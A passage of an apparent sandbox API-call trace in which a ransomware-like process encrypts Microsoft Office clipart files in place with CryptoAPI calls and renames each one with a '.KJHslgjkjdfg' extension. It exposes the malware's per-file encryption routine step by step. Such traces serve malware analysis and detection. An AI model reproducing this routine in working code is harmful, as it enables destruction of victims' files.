(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.kjhslgjkjdfg")) returned 1 [0189.375] CloseHandle (hObject=0x114) returned 1 [0189.375] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0189.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.377] GetProcessHeap () returned 0x2a0000 [0189.377] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.377] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.377] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.377] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.379] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.379] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.379] GetProcessHeap () returned 0x2a0000 [0189.380] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.380] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.380] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.380] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.380] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.380] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.380] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.380] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.380] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.380] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.380] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x283c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x283c, lpOverlapped=0x0) returned 1 [0189.382] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2840, dwBufLen=0x2840 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2840) returned 1 [0189.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.382] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2840, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2840, lpOverlapped=0x0) returned 1 [0189.382] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.382] SetEndOfFile (hFile=0x114) returned 1 [0189.385] GetProcessHeap () returned 0x2a0000 [0189.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.385] GetProcessHeap () returned 0x2a0000 [0189.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.kjhslgjkjdfg")) returned 1 [0189.387] CloseHandle (hObject=0x114) returned 1 [0189.387] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0189.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.388] GetProcessHeap () returned 0x2a0000 [0189.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.388] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.388] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.389] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.391] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.391] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.391] GetProcessHeap () returned 0x2a0000 [0189.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.391] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.391] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.391] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.391] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.391] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.392] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.392] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.392] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.392] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x514c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x514c, lpOverlapped=0x0) returned 1 [0189.393] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5150, dwBufLen=0x5150 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5150) returned 1 [0189.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5150, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5150, lpOverlapped=0x0) returned 1 [0189.394] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.394] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.394] SetEndOfFile (hFile=0x114) returned 1 [0189.397] GetProcessHeap () returned 0x2a0000 [0189.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.397] GetProcessHeap () returned 0x2a0000 [0189.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.kjhslgjkjdfg")) returned 1 [0189.399] CloseHandle (hObject=0x114) returned 1 [0189.399] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0189.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.400] GetProcessHeap () returned 0x2a0000 [0189.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.400] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.400] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.400] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.400] GetProcessHeap () returned 0x2a0000 [0189.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.400] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.401] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.401] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.403] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.403] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.404] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.404] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.404] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2090, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2090, lpOverlapped=0x0) returned 1 [0189.405] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2090, dwBufLen=0x2090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2090) returned 1 [0189.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.405] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2090, lpOverlapped=0x0) returned 1 [0189.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.405] SetEndOfFile (hFile=0x114) returned 1 [0189.408] GetProcessHeap () returned 0x2a0000 [0189.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.408] GetProcessHeap () returned 0x2a0000 [0189.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.kjhslgjkjdfg")) returned 1 [0189.410] CloseHandle (hObject=0x114) returned 1 [0189.410] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0189.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.411] GetProcessHeap () returned 0x2a0000 [0189.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.411] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.411] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.414] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.414] GetProcessHeap () returned 0x2a0000 [0189.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.414] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.414] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.414] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.414] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.414] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.414] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.415] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x280c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x280c, lpOverlapped=0x0) returned 1 [0189.415] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2810, dwBufLen=0x2810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2810) returned 1 [0189.416] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.416] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2810, lpOverlapped=0x0) returned 1 [0189.416] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.416] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x28e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.416] SetEndOfFile (hFile=0x114) returned 1 [0189.419] GetProcessHeap () returned 0x2a0000 [0189.419] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.419] GetProcessHeap () returned 0x2a0000 [0189.419] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.kjhslgjkjdfg")) returned 1 [0189.420] CloseHandle (hObject=0x114) returned 1 [0189.421] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0189.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.454] GetProcessHeap () returned 0x2a0000 [0189.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.454] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: 